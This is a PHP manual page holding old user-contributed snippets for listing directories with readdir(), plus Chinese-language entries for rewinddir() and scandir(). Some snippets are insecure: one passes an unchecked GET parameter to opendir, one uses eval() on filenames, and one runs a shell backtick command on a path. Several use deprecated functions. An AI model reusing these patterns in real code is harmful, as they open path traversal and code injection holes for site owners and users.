if ($handle = opendir($path)) {
   while (false !== ($file = readdir($handle))) {
       if ($file != "." && $file != "..") {
           $fName = $file;
           $file = $path.'/'.$file;
           if(is_file($file)) $numfile++;
           if(is_dir($file))  $numdir++;
       };
   };
   closedir($handle);
};
echo $numfiles.' files in a directory';
echo $numdir.' subdirectory in directory';
BY626
07-Dec-2004 06:15
here is a simple directory navigating script i created. files and directories are links and it displays the current directory and the path relative to the file the script is in. it also has a nifty 'up one level' link.
------

<?php
   $path = $_GET['path'];
   if(!isset($path))
   {
       $path = ".";
   }

   if ($handle = opendir($path))
   {
       $curDir = substr($path, (strrpos(dirname($path."/."),"/")+1));
       print "current directory: ".$curDir."<br>************************<br>";
       print "Path: ".dirname($path."/.")."<br>************************<br>";

       while (false !== ($file = readdir($handle)))
       {
           if ($file != "." && $file != "..")
           {
               $fName = $file;
               $file = $path.'/'.$file;
               if(is_file($file))
               {
                   print "[F]&nbsp;&nbsp;<a href='".$file."'>".$fName."</a>&nbsp;&nbsp;&nbsp; ".filesize($file)." bytes<br>";
               }
               if(is_dir($file))

               {
                   print "[D]&nbsp;&nbsp;<a href='ex2.php?path=$file'>$fName</a><br>";
               }
           }
       }
       $up = substr($path, 0, (strrpos(dirname($path."/."),"/")));
       print "[^]&nbsp;&nbsp;<a href='ex2.php?path=$up'>up one level</a><br>";

       closedir($handle);
   }
?>

------ sample output ------

current directory: kate
************************
Path: ./kate
************************
[F]  xyz_file.txt  13005 bytes
[F]  mno_file.txt  26327 bytes
[F]  abc_file.txt  8640 bytes
[D]  k2
[^]  up one level
Jason Wong
13-Nov-2004 06:20
Everyone seems to be using recursion for trawling through subdirectories. Here's a function that does not use recursion.

<?php
   function list_directory($dir) {
       $file_list = '';
       $stack[] = $dir;
       while ($stack) {
           $current_dir = array_pop($stack);
           if ($dh = opendir($current_dir)) {
               while (($file = readdir($dh)) !== false) {
                   if ($file !== '.' AND $file !== '..') {
                       $current_file = "{$current_dir}/{$file}";
                       if (is_file($current_file)) {
                           $file_list[] = "{$current_dir}/{$file}";
                       } elseif (is_dir($current_file)) {
                           $stack[] = $current_file;
                       }
                   }
               }
           }
       }
       return $file_list;
   }
?>

I also did a rudimentary benchmark against Rick's function (no reason in particular why I chose Rick's, it was just the latest) and the result is that using recursion results in about 50% longer execution time.

Details of benchmark:
Directory contains 64 subdirectories and about 117,000 files. Each function was executed 100 times in a for-loop and the average time per iteration was calculated. The result is 3.77 seconds for the non-recursive function and 5.65 seconds for the recursive function.
Rick at Webfanaat dot nl
29-Sep-2004 06:47
Yet another recursive directory lister :P
Why did I create it?
I like to keep things small, and it seems like all the scripts around here are a lot bigger and more complex while they produce the same (or nearly the same) output.

This one creates a multidimensional array with the folders as associative array and the files as values.
It puts the name of the folders and files in it, not the complete path (I find that annoying but its easy to change that if you prefer it with the path).

And I used a for loop instead of a while loop like everyone around here does.
Why?
1. I just like for loops.
2. Everyone else uses a while loop.

<?php
function ls($dir){
   $handle = opendir($dir);
   for(;(false !== ($readdir = readdir($handle)));){
       if($readdir != '.' && $readdir != '..'){
           $path = $dir.'/'.$readdir;
           if(is_dir($path))    $output[$readdir] = ls($path);
           if(is_file($path))    $output[] = $readdir;
       }
   }
   return isset($output)?$output:false;
   closedir($handle);
}

print_r(ls('.'));
?>

PS: if you don't need the files in it then you can just comment out the "if(is_file....." part.
nagash at trumna dot pl
06-Jun-2004 01:11
Simplified recursive file listing (in one directory), with links to the files.

<?
$the_array = Array();
$handle = opendir('prace/.');
while (false !== ($file = readdir($handle))) {
   if ($file != "." && $file != "..") {
   $the_array[] = $file;
   }
}
closedir($handle);
sort ($the_array);
reset ($the_array);
while (list ($key, $val) = each ($the_array)) {
   echo "<a href=prace.php?id=$val>$val</a><br>";
}
?>

I'm not sure, if you were talking about that, but anyway I think somebody might find it usefull :-)
phpuser at php dot net
04-Jun-2004 11:28
Simplified recursive directory listing. Returns FolderListing object which contains an array with all the directories and files.

<?php

class FolderListing {
   var $newarr = array();

   function loop($stack) {
       if(count($stack) > 0) {
           $arr = array();
           foreach($stack as $key => $value) {
               array_push($this->newarr, $stack[$key]);
               if ($dir = @opendir($stack[$key])) {
                   while (($file = readdir($dir)) !== false) {
                       if (($file != '.') && ($file != '..')) {
                           array_push($arr, $stack[$key].'/'.$file);
                       }
                   }
               }
               closedir($dir);
           }
           $this->loop($arr);
       } else {
           $sorted = sort($this->newarr);
           return($sorted);
       }
   }
}

$start = new FolderListing;
$base = array("baseDir");
$start->loop($base);

foreach($start->newarr as $value) {
   echo $value."<br />";
}

?>

Add the following code around the array_push line to just check for directories:

if(is_dir($stack[$key].'/'.$file)) {

}
jw5_feedback at comcast dot net
20-May-2004 06:30
Ok you have seen a bunch of them recursive directory functions, but heres mine that loads them all into an array and emdeded arrays that contain all the file names.

/*********************************************/

$main_dir = "downloads";

$A_main = Array($main_dir,);
$start =& $A_main;
$j = 0;

function dir_recurse($dir,&$wia) {
  $i = 1;
  if($handle = opendir($dir)) {
   while(false !== ($file = readdir($handle))) {
   if($file != "." && $file != ".." ) {
     if(is_dir($dir."/".$file) == true) {
     $fullpath = $dir."/".$file;
     array_push($wia,array($file));
     dir_recurse($fullpath,$wia[$i]);
     $i++;
     }
     else {
     $fullpath = $dir."/".$file;
     array_push($wia,$fullpath);
     $i++;
     }
   }
   }
  closedir($handle);
 }
}

dir_recurse($main_dir,$start);

/********************************************/

wia stands for "where it's at" in relation to being in a  directory.
jw5_feedback at comcast dot net
21-May-2004 09:30
Ok you have seen a bunch of them recursive directory functions, but heres mine that loads them all into an array and emdeded arrays that contain all the file names.

/*********************************************/

$main_dir = "downloads";

$A_main = Array($main_dir,);
$start =& $A_main;
$j = 0;

function dir_recurse($dir,&$wia) {
  $i = 1;
  if($handle = opendir($dir)) {
   while(false !== ($file = readdir($handle))) {
   if($file != "." && $file != ".." ) {
     if(is_dir($dir."/".$file) == true) {
     $fullpath = $dir."/".$file;
     array_push($wia,array($file));
     dir_recurse($fullpath,$wia[$i]);
     $i++;
     }
     else {
     $fullpath = $dir."/".$file;
     array_push($wia,$fullpath);
     $i++;
     }
   }
   }
  closedir($handle);
 }
}

dir_recurse($main_dir,$start);

/********************************************/

wia stands for "where it's at" in relation to being in a  directory.
abanner at netachievement dot co dot uk
12-May-2004 08:04
Whilst writing a script to check a directory to see whether certain files existed, I used an original example from this page and modified so that in the first loop that checks the directory, there is a second that looks at a database recordset and tries to find the matches.

I found an issue that I have not yet solved. I am not a PHP guru, so I might be missing something here.

In the parent loop, $file is set correctly. As soon as your progress to the inner loop, $file becomes just a full stop (.) - I've no idea why.

<?

if ($handle = opendir($path)) :
     while (false !== ($file = readdir($handle))) :
       // Here $file is set correctly
       while($row = @ mysql_fetch_array($result)) :
           // Here $file is set to .

       endwhile;
   endwhile;

   closedir($handle);
endif;
?>
phpnet at public dot buyagun dot org
06-May-2004 08:10
Another simple recusive directory listing function.

<?php
$BASEDIR="/tmp";
function recursedir($BASEDIR) {
       $hndl=opendir($BASEDIR);
       while($file=readdir($hndl)) {
               if ($file=='.' || $file=='..') continue;
                       $completepath="$BASEDIR/$file";
                       if (is_dir($completepath)) {
                               # its a dir, recurse.
                               recursedir($BASEDIR.'/'.$file);
                               print "DIR: $BASEDIR/$file<br>\n";
                       } else {
                               # its a file.
                               print "FILE: $BASEDIR/$file<br>\n";
                       }
       }
}
recursedir($BASEDIR);
?>
juanma at teslg dot com
06-Apr-2004 11:13
This is a recursive function using readdir. It creates an Dir tree called Directorio on memory.
   class Directorio
   {
       var $path="";
       var $arrPathFich=array();

       function Directorio()
       {
           if(func_num_args()==1)
           {
               $arr=func_get_args();
               $obj=$arr[0];
               $this->path=$obj->path;
               $this->arrPathFich=$obj->arrPathFich;
           }
       }
   }//Directorio

/* *** FUNCIONES *** */
function getArbolDir($dir)
{
   $direct=new Directorio();
   $direct->path=$dir;
   $i=0;
   $dir.='/';
   if(is_dir($dir))
   {
       $pdir=opendir($dir);
       while(FALSE !== ($nomfich=readdir($pdir)))
       {
           if($nomfich!="." && $nomfich!="..")
               if(is_dir($dir.$nomfich))
                   $direct->arrPathFich[$i++]=new Directorio(getArbolDir($dir.$nomfich));
               else
                   $direct->arrPathFich[$i++]=$dir.$nomfich;
       }
       closedir($pdir);
   }
   return $direct;
}//getArbolDir
gehring[at-no-2-spam]egotec.com
18-Mar-2004 10:13
If you want to walk through a directory and want to use a callback function for every dir or file you get you can use this

its like the perl File::Find method "find"

<?php
   function find($callback, $dir=Array())
   {
       foreach($dir as $sPath) {
           if ($handle = opendir($sPath)) {
               while (false !== ($file = readdir($handle))) {
                   if($file !== "." && $file !== "..") {
                       if(is_dir($sPath."/".$file)) {
                           eval("$callback(\"$sPath\", \"$file\");");
                           find($callback, Array($sPath."/".$file));
                       } else {
                           eval("$callback(\"$sPath\", \"$file\");");
                       }
                   }
               }
               closedir($handle);
           }
       }
   }

   function walk($dir, $file)
   {
       print ">>> $dir/$file\n";
   }

   find("walk", Array("/etc"));
?>

hope it helps
jg
josh at duovibe dot com
13-Mar-2004 07:31
After looking for awhile for a function which retrieves a folder listing based on certain criteria (return folder, files, or both; search recursively or not), I decided to write my own.  Maybe somebody out there will find it helpful.

Currently, it returns a flat list, but that can changed to return a nested list by editing the line:
     $file_list = array_merge($file_list, directory_list($path ...
to
     $file_list[] = directory_list($path ...

function directory_list($path, $types="directories", $recursive=0) {

   // get a list of just the dirs and turn the list into an array
   // @path        starting path from which to search
   // @types        can be "directories", "files", or "all"
   // @recursive    determines whether subdirectories are searched

   if ($dir = opendir($path)) {
       $file_list = array();
       while (false !== ($file = readdir($dir))){
           // ignore the . and .. file references
           if ($file != '.' && $file != '..') {
               // check whether this is a file or directory and whether we're interested in that type
               if ((is_dir($path."/".$file)) && (($types=="directories") || ($types=="all"))) {
                       $file_list[] = $file;
                       // if we're in a directory and we want recursive behavior, call this function again
                       if ($recursive) {
                           $file_list = array_merge($file_list, directory_list($path."/".$file."/", $types, $recursive));
                       }
               } else if (($types == "files") || ($types == "all")) {
                   $file_list[] = $file;
               }
           }
       }
       closedir($dir);
       return $file_list;
   } else {
       return false;
   }

}
Angryman Bluts
24-Feb-2004 01:52
If anyone uses the posted script of mikael[at]limpreacher[d0t]com
...

U should use direcho($path.file.'/');
rockinmusicgv at y_NOSPAM_ahoo dot com
28-Nov-2003 03:24
Mainly an extension of the other drop down directory lists
Except it should handle hidden directories (unix)

function getdirs($directory, $select_name, $selected = "") {
   if ($dir = @opendir($directory)) {
       while (($file = readdir($dir)) !== false) {
           if ($file != ".." && $file != ".") {
   if(is_dir($file)) {
   if(!($file[0] == '.')) {
               $filelist[] = $file;
   }
               }
           }
       }
           closedir($dir);
   }
   echo "<select name=\"$select_name\">";
   asort($filelist);
   while (list ($key, $val) = each ($filelist)) {
       echo "<option value=\"$val\"";
       if ($selected == $val) {
           echo " selected";
       }
       echo ">$val</option>";
   }
   echo "</select>";
}
Steve Main
26-Nov-2003 12:53
This will allow you to print out a total recursive directory listing no files just directories for possible tree menues that need folder lists.

<?php
$DirectoriesToScan  = array(realpath('/var/www/axim.caspan.com/Software/'));
$DirectoriesScanned = array();

while (count($DirectoriesToScan) > 0) {
  foreach ($DirectoriesToScan as $DirectoryKey => $startingdir) {
   if ($dir = @opendir($startingdir)) {
     while (($file = readdir($dir)) !== false) {
       if (($file != '.') && ($file != '..')) {
         $RealPathName = realpath($startingdir.'/'.$file);
         if (is_dir($RealPathName)) {
           if (!in_array($RealPathName, $DirectoriesScanned) && !in_array($RealPathName, $DirectoriesToScan)) {
             $DirectoriesToScan[] = $RealPathName;
           $DirList[] = $RealPathName;
           }
         }
       }
     }
     closedir($dir);
   }
   $DirectoriesScanned[] = $startingdir;
   unset($DirectoriesToScan[$DirectoryKey]);
  }
}

$DirList = array_unique($DirList);
sort($DirList);

foreach ($DirList as $dirname) {
  echo $dirname."<br>";
}

?>
bermi_ferrer {:at:} bermi {:dot:} org
07-Nov-2003 08:09
Simple function to recursively load given directory (/full_path/to_directory/) into an array.

function akelos_recursive_dir($directorio)
{
   if ($id_dir = opendir($directorio)){
       while (false !== ($archivo = readdir($id_dir))){
           if ($archivo != "." && $archivo != ".."){
               if(is_dir($directorio.$archivo)){
                   $resultado[$archivo] = akelos_recursive_dir($directorio.$archivo."/");
               }
               else{
                   $resultado[] = $archivo;
               }
           }
       }
       closedir($id_dir);
   }
   return $resultado;
}
mikael[at]limpreacher[d0t]com
06-Nov-2003 09:28
I don't know if I haven't had the patience to go trough enough notes, but I didn't find any tip on how to recurively get a directory listing (show subdirectories too), so, as many other, I wrote one. Hopefully this will help someone.

<?php
         function direcho($path) {
                 if ($dir = opendir($path)) {
                     while (false !== ($file = readdir($dir))){
                         if (is_dir($path.$file)) {                    // if it's a dir, check it's contents too
                             if ($file != '.' && $file != '..') {      // ...but dont go recursive on '.' and '..'
                                 echo '<li><b>' . $file . '</b></li><ul>';
                                 direcho($path.$file); // This is a feature that surprised me, it IS possible to call
                                                       // the function itself from inside that function.
                                 echo '</ul>';
                             }
                             else {  //if it IS '.' or '..' , just output.
                                 echo '<li><b>' . $file . '</b></li>';
                             }
                         }
                         else {  //if it's not a dir, just output.
                             echo '<li>' . $file . '</li>';
                         }
                     }
                     closedir($dir);
                 }
         }
direcho('/path/to/home/dir/'); // somehow only the absolute path ('/home/yourhomedir/public_html/testdir/') worked for me...

?>

Yippii! my first contribution to this site!
php at trap-door dot co dot uk
28-Sep-2003 11:22
An extension to the sorted file list in a drop-down box posted by paCkeTroUTer at iprimus dot com dot au.

Takes the directory, the "name" of the form element it produces, and optionally, a filename. If the file name is in the list, it will be the default selection in the list.

<?

function listfiles($directory, $select_name, $selected = "") {
   if ($dir = @opendir($directory)) {
       while (($file = readdir($dir)) !== false) {
           if ($file != ".." && $file != ".") {
               $filelist[] = $file;
           }
       }
           closedir($dir);
   }
   echo "<select name=\"$select_name\">";
   asort($filelist);
   while (list ($key, $val) = each ($filelist)) {
       echo "<option value=\"$val\"";
       if ($selected == $val) {
           echo " selected";
       }
       echo ">$val</option>";
   }
   echo "</select>";
}

?>

Hope this helps someone.
alfred-baudisch at bol dot com dot br
18-Jul-2003 01:27
I use the function below in my site, is good if you wanna only images files on the filename array.

function GetFileList($dirname, $extensoes = FALSE, $reverso = FALSE)
{
   if(!$extensoes) //EXTENSIONS OF FILE YOU WANNA SEE IN THE ARRAY
       $extensoes = array("jpg", "png", "jpeg", "gif");

   $files = array();

   $dir = opendir($dirname);

   while(false !== ($file = readdir($dir)))
   {
       //GET THE FILES ACCORDING TO THE EXTENSIONS ON THE ARRAY
       for ($i = 0; $i < count($extensoes); $i++)
       {
           if (eregi("\.". $extensoes[$i] ."$", $file))
           {
               $files[] = $file;
           }
       }
   }

   //CLOSE THE HANDLE
   closedir($dirname);

   //ORDER OF THE ARRAY
   if ($reverso) {
       rsort($files);
   } else {
       sort($files);
   }

   return $files;
}
web at fischenich dot org
15-Jul-2003 11:11
Why not sorting by filemtime like this?

  $handle=opendir($fPath);
  while ($file = readdir($handle))
   {
     if($file=='.'||$file=='..')
       continue;
     if (preg_match("/\.(esp|xml)$/", $file)){
       $filetlist [$file] = filemtime ($fPath.'/'.$file);
     }
   }
  asort($filetlist);

  while (list ($key, $val) = each ($filetlist))
  {
     echo $key;
   }
thebitman at attbi dot com
30-Apr-2003 06:29
On sorting by date- no, you can't just use an associative array since some things /will/ be created on the same second. No reason why you can't append the filename to the time, though! (used md5() to kill any weird characters in a unique way)

$dirpath = getcwd() . "/";
$dir = opendir($dirpath);
$files = array();
while ($file = readdir($dir)) {
   $localpath = $dirpath.$file;

   if (is_file($localpath)) {
       $key = filemtime($localpath).md5($file);
       $files[$key] = $file;
   }
}
ksort($files);
foreach ($files as $file) {
   echo "$file<br>";
}
paCkeTroUTer at iprimus dot com dot au
25-Apr-2003 07:06
This is an example of how to sort directories alphabetically into a drop down list:

           <?
           if ($dir = @opendir("products"))
           {
               while (($file = readdir($dir)) !== false)
               {
                   if($file != ".." && $file != ".")
                   {
                       $filelist[] = $file;
                   }
               }
               closedir($dir);
           }
           ?>
<form>
           <select name="selected_dir" >
           <?php
           asort($filelist);
           while (list ($key, $val) = each ($filelist))
           {
               echo "<option>$val</option>";
           }
           ?>
            </select>
</form>
06-Mar-2003 11:34
Here is a function that will recursively copy a file into every directory within a specified directory, unless the directory is in an optional third parameter, an array with a list of directory names to skip. It will also print whether it copied each item it expected to.

Also, if you try to copy a file to itself in PHP, you end up with an empty file. To alleviate this, there is a fourth parameter, also optional, which is the number of levels to skip when copying files. The default is 0, which will only skip the directory specified in $dir, so that a call using the file's directory will work properly. I would not recommend calling this function with a directory higher up the tree than $file's.

<?php
function copyintodir ($file, $dir, $skip = array(''), $level_count = 0) {
  if (count($skip) == 1) {
   $skip = array("$skip");
  }
  if (!@($thisdir = opendir($dir))) {
   print "could not open $dir<br />";
   return;
  }
  while ($item = readdir($thisdir) ) {
   if (is_dir("$dir/$item") && (substr("$item", 0, 1) != '.') && (!in_array($item, $skip))) {
     copyintodir($file, "$dir/$item", $skip, $level_count + 1);
   }
  }
  if ($level_count > 0) {
   if (@copy($file, "$dir/$file")) {
     print "Copied $file into $dir/$file<br />\n";
   } else {
     print "Could not copy $file into $dir/$file<br />\n";
   }
  }
}
?>
You can call it using a function call such as this:

copyintodir ('index.php', '.', 'images');
php at silisoftware dot com
31-Jan-2003 02:16
Yet another recursive directory listing script. This one returns a list of all absolute filenames (files only, no directories) in or below the directory first specified in $DirectoriesToScan.

$DirectoriesToScan  = array(realpath('.'));
$DirectoriesScanned = array();
while (count($DirectoriesToScan) > 0) {
  foreach ($DirectoriesToScan as $DirectoryKey => $startingdir) {
   if ($dir = @opendir($startingdir)) {
     while (($file = readdir($dir)) !== false) {
       if (($file != '.') && ($file != '..')) {
         $RealPathName = realpath($startingdir.'/'.$file);
         if (is_dir($RealPathName)) {
           if (!in_array($RealPathName, $DirectoriesScanned) && !in_array($RealPathName, $DirectoriesToScan)) {
             $DirectoriesToScan[] = $RealPathName;
           }
         } elseif (is_file($RealPathName)) {
           $FilesInDir[] = $RealPathName;
         }
       }
     }
     closedir($dir);
   }
   $DirectoriesScanned[] = $startingdir;
   unset($DirectoriesToScan[$DirectoryKey]);
  }
}

$FilesInDir = array_unique($FilesInDir);
sort($FilesInDir);

foreach ($FilesInDir as $filename) {
  echo $filename."\n";
}
nick_vollebergh at hotmail dot com
07-Jan-2003 04:53
This is a good way to put all your files from a directory in an arry, and echo them on your page.

<?php

$the_array = Array();
$handle = opendir('.');

while (false !== ($file = readdir($handle))) {
   if ($file != "." && $file != "..") {  /* as descripted below: these "files" will not be added to the array */
       $the_array[] = $file;
   }
}
closedir($handle);

foreach ($the_array as $element) {
  echo "$element @br /@ \n";
}

?>
php dot net at phor dot net
05-Jan-2003 07:34
This is equivilent to (and more modular than): $file_list=explode("\n",`find $path -type f`)

  function walk_dir($path)
  {
   if ($dir = opendir($path)) {
     while (false !== ($file = readdir($dir)))
     {
       if ($file[0]==".") continue;
       if (is_dir($path."/".$file))
         $retval = array_merge($retval,walk_dir($path."/".$file));
       else if (is_file($path."/".$file))
         $retval[]=$path."/".$file;
     }
     closedir($dir);
   }
   return $retval;
  }

-- Full Decent
rolandfx_SPAMMENOT_ at bellsouth dot net
11-Nov-2002 05:04
While I won't make any claims as to its efficiency, this modified version of me@infinito.dk's script above does do several things the previous one doesn't.  It will display jpegs using the .jpeg extension, and will not show double-extended files (foo.jpg.bar), nor will it show non-image files with an extension in their name, like mygif.html.

<?
function CheckExt($filename, $ext) {
$passed = FALSE;
$testExt = "\.".$ext."$";
if (eregi($testExt, $filename)) {
$passed = TRUE;
}
return $passed;
}

//Define an array of common extensions.
$exts = array("gif","jpg$|\\.jpeg","png","bmp");

echo "<b>Images in this folder:</b>";
$dir = opendir(".");
$files = readdir($dir);

while (false !== ($files = readdir($dir))) {
foreach ($exts as $value) {
if (CheckExt($files, $value)) {
echo "<a href=\"$files\">$files</a>\n";
$count++; //Keep track of the total number of files.
break; //No need to keep looping if we've got a match.
}
}

}
echo $count." image(s) found in this directory.\n";
echo "<a href=\"".$_SERVER["PHP_SELF"]."\">Refresh</a>\n";
//Be a good script and clean up after yourself...
closedir($dir);

?>
Silphy@nowhere
08-Nov-2002 11:26
Mod'ed the code a bit. Made it so the dir is selected by dir.php?dir=name . I made it to parse anything starting with "/" "." or "./" so there shouldn't be any security risks when using this.

<?php

$directory = $_REQUEST["dir"];    // lets fetch the variable: REQUEST works for both, POST and GET methods

if (substr($directory, 0, 1) == "/")
   $directory = "";
$directory = str_replace ("./", "", $directory);
$directory = str_replace (".", "", $directory);

if ($directory != @$null) {    // lets check if the variable "dir" has something in it, otherwise lets just print out the empty document
   if ($dir = @opendir($directory)) {    // changed "./" to the directory variable
       echo ("Listing contents of <b>$directory</b><br><br>\n");    // i just added this thing
       while (($file = readdir($dir)) !== false) {
           if ($file != "." && $file != "..") {
               $location = "$directory/$file";
               $type = filetype($location);
               $size = filesize($location);
               if (is_dir($location) == true) {
               echo ("$type - <a href=\"dir.php?dir=$location\">$file</a><br>\n");
               }
               else {
               echo ("$type - <a href=\"$location\">$file</a> - $size Bytes<br>\n");
               }
           }
       }
       closedir($dir);
   }
}

?>
eric.draven[AT]tiscalinet[DOT]it
25-Aug-2002 03:39
Sometimes happens that you need to sort your files by date , but using associative arrays you won't be able to list files that were written in the same second (rarely , but with CMS system it's strangely frequent , doh!). Here's something that may come in hand in such a case. Code CAN really be improved (especially flags), but you can figure out the trick.

$dir = opendir($myDir);
while (($file = readdir($dir)) !== false) {
  if ($file != "." and $file != "..") {
   $fileTime=filemtime($docsPath.$file);
   $stillExists = true;
   while ($stillExists) {
                   $stillExists = validateTs($fileTime);
                   if (!$stillExists) {
                       $articlesToProcess[$fileTime] = $file;
                   }
                   else {
                       echo("<font color=\"red\" size=\"3\">found ts equals to another key. add 1 second and retry </font><br>");
                       $fileTime++;
                   }
               }

           }
       }
       krsort($articlesToProcess);

# Follow function that do the work

function validateTs($fileTime) {
       global $articlesToProcess;
       foreach($articlesToProcess as $key => $value) {
           if ($fileTime == $key) {
               return true;
           }

       }
       return false;
   }

email me for comments.

Marcus
vjtNO at SPAMazzurra dot org
05-Aug-2002 07:09
to skip hidden files ( on unix ), you can do:

$d = opendir('/path/to/dir');
while(($f = readdir($d)) !== false)
{
   if($f[0] == '.')
       continue;
   /* .. your code here .. */
}
mb at michaelborchers dot net
22-Jul-2002 12:16
I tried to find a script that would put all files of one directory($img_path) into an array while excluding any subdirectory, not only ".", ".." or "xyz".
Chriss found the solution some threads above.

The following way the slashes are used work for both- LINUX and WIN:

$handle = opendir("$img_path");
  while (false !== ($file = readdir($handle))) {
   if(is_file($img_path."//".$file)) {
     $filelist[] = $file;
     $anz_files = count($filelist);
   }
  }
phpwizard-at-pech-dot-cz
05-Jul-2002 04:22
It should work, but it'll be better to read section 13.1.3 Cache-control Mechanisms of RFC 2616 available at http://rfc.net/rfc2616.html before you start with confusing proxies on the way from you and the client.

Reading it is the best way to learn how proxies work, what should you do to modify cache-related headers of your documents and what you should never do again. :-)

And of course not reading RFCs is the best way to never learn how internet works and the best way to behave like Microsoft corp.

Have a nice day!
Jirka Pech
rmadriz at expressmail dot net
22-May-2002 07:54
One little note about the is_dir() and is_file() functions when used with readdir().

You better use the fully qualified name when testing, otherwise you could get undesired behavior.

This is the way I'm reading the files form a directory and it is working perfectly.

function get_dir($path)
{
 if ($dir = opendir($path)) {
     /* This is the correct way to loop over the directory. */
     while (false !== ($file = readdir($dir)))
     {
     if (!is_dir($path.$file))
     {
     //... Your Code Here
     }
     }
     closedir($dir);
 }
 return // whatever you want to return, an array is very usefull
}

Hope this can help,
   Rodrigo
captainmike5 at hotmail dot com
22-May-2002 02:47
while working on trying to have readdir sort a listing of directories eiter alphabetically or by modification time i discovered that the readdir() function sorts very similar to the ls -Ul

maybe that will help someone.... ?
FX at yucom dot be
21-May-2002 06:16
Nice recursive code.
It generates and displays a sorted list of all directories, sudirectories and files of your HD.

<?php

  function GetFileList($path, &$a)
  {
   $d=array(); $f=array();
   $nd=0;  $nf=0;
   $hndl=opendir($path);
   while($file=readdir($hndl))
   {
     if ($file=='.' || $file=='..') continue;
     if (is_dir($path.'\\'.$file))
       $d[$nd++]=$file;
     else
       $f[$nf++]=$file;
   }
   closedir($hndl);

   sort($d);
   sort($f);

   $n=1;
   for ($i=0;$i<count($d);$i++)
   {
     GetFileList($path.'\\'.$d[$i].'\\', $a[$n]);
     $a[$n++][0]=$d[$i];
   }
   for ($i=0;$i<count($f);$i++)
   {
     $a[$n++]=$f[$i];
   }
  }

  function ShowFileList(&$a, $N)
  {
   for ($i=1;$i<=count($a); $i++)
     if (is_array($a[$i]))
     {
       echo "<H".$N.">".$a[$i][0].
               "</H".$N.">\n";
       ShowFileList($a[$i], $N+1);
     }
     else
       echo "<Normal>".$a[$i].
               "</Normal>\n";
  }

  echo ("Thanks to FX.");
  GetFileList("c:\\",$array);
  ShowFileList($array, 1);
?>
fridh at gmx dot net
10-Apr-2002 08:41
Someone mentioned the infinite recursion when a symbolic link was found...

tip: is_link() is a nice function :)
berkhout at science dot uva dot nl
21-Feb-2001 08:16
When using stristr($filename, ".sql") you will also get filenames of the form filename.sql.backup or .sqlrc
slicky at newshelix dot com
21-Feb-2001 03:52
@dwalet@po-box.mcgill.ca

To search for some specific file or file extension:
Make sure that you put this expression
if (ereg("\.sql",$file)) instead of (eregi(".sql",$file)) since the ereg function is familiar with regular expressions
and "the point" (any char) represents a special reg expr. (have a look at reg expr. if you are interested!)

You can combine in the if expression whatever you want for instance if (ereg("\.sql",$file)) && (strlen($file))<100 )
:) of course this doesn't make sooo much sense to use a strlen here, but however this should only be a demonstration

Now the next thing...
Speed issue :
Since the ereg() is capable of reg expr. this means a high speed decrease for you.
So for this simple fileextension search function use the strstr() function instead... which hasn't the power of reg expr. but boast of speed
At least your "if expression" should look something like that: if(stristr($file,".sql"))
corbeau at iname dot com
19-Jan-2001 06:00
SIMPLE SOLUTION:
I spent a while trying to figure out how the looping and recursion would work... then I just wrote this.
The simplistic way to get files recursively:

$dir="/directory/";
$a = `find $dir -depth -type f -print`;
$files = explode ("\n", $a);

Puts all the files into an array.
Do a basename() on each element to get the file name, and a dirname() to get the directory name.
Viola!
CK1 at wwwtech dot de
16-Nov-2000 10:40
funny thing ;)
if you really read your dirs with subdirs into an array like described above, and there's a link like

ln -s ./ ./recursive

you'll get an endless loop ;)
My suggestion to prevent this is to limit the number of recursion instances: Change the function to

function GetDirArray($sPath,$maxinst,$aktinst = 0)
 {
 //Load Directory Into Array
 $handle=opendir($sPath);
 while ($file = readdir($handle))
  { $retVal[count($retVal)] = $file; }

 //Clean up and sort
 closedir($handle);
 sort($retVal);

 while (list($key, $val) = each($retVal))
  {
  if ($val != "." && $val != "..")
   {
   $path = str_replace("//","/",$sPath.$val);

  if (is_dir($sPath.$val) && ($aktinst < $maxinst || $maxinst == 0))
   { GetDirArray($sPath.$val."/",$maxinst,$aktinst+1); }
   }
  }
 }

A call could be this:
$dir = GetDirArray("./",0);

Another method could be a regexp, which looks for more than $maxinst same named subdirs:

if (is_dir($sPath.$val) && !preg_match("/\/(\w+)(\/\\1){$max,}/",$sPath.$val))
 { GetDirArray($sPath.$val."/",$maxinst); }

instead of the if-construction above.
add a note add a note

后退 | 起点 | 前进
opendir | 上一级 | rewinddir


rewinddir

(PHP 3, PHP 4, PHP 5)

rewinddir -- 倒回目录句柄

说明

void rewinddir ( resource dir_handle )

将 dir_handle 指定的目录流重置到目录的开头。

参数

dir_handle

目录句柄的 resource，之前由 opendir() 打开

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readdir | 上一级 | scandir


scandir

(PHP 5)

scandir -- 列出指定路径中的文件和目录

说明

array scandir ( string directory [, int sorting_order [, resource context]] )

返回一个 array，包含有 directory 中的文件和目录。

参数

directory

要被浏览的目录

sorting_order

默认的排序顺序是按字母升序排列。如果使用了可选参数 sorting_order（设为 1），则排序顺序是按字母降序排列。

context

context 参数的说明见手册中的 Streams API 一章。

返回值

成功则返回包含有文件名的 array，如果失败则返回 FALSE。如果 directory 不是个目录，则返回布尔值 FALSE 并生成一条 E_WARNING 级的错误。

范例

例子 1. 一个简单的 scandir() 例子

<?php
$dir    = '/tmp';
$files1 = scandir($dir);
$files2 = scandir($dir, 1);

print_r($files1);
print_r($files2);
?>

上例的输出类似于：

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

例子 2. scandir() 在 PHP 4 中的实现

<?php
$dir = "/tmp";
$dh  = opendir($dir);
while (false !== ($filename = readdir($dh))) {
    $files[] = $filename;
}

sort($files);

print_r($files);

rsort($files);

print_r($files);

?>

上例的输出类似于：

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

注释

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

参见

opendir()
readdir()
glob()
is_dir()
sort()

add a note add a note User Contributed Notes
greg at sasses dot net
19-May-2006 03:27
A minor revision to elbekko at gmail dot com <PHP5 scandir function. The arsort should be rsort. Here is the complete function with the correction:

<?php
if(!function_exists('scandir')) {
   function scandir($dir, $sortorder = 0) {
       if(is_dir($dir))        {
           $dirlist = opendir($dir);
           while( ($file = readdir($dirlist)) !== false) {
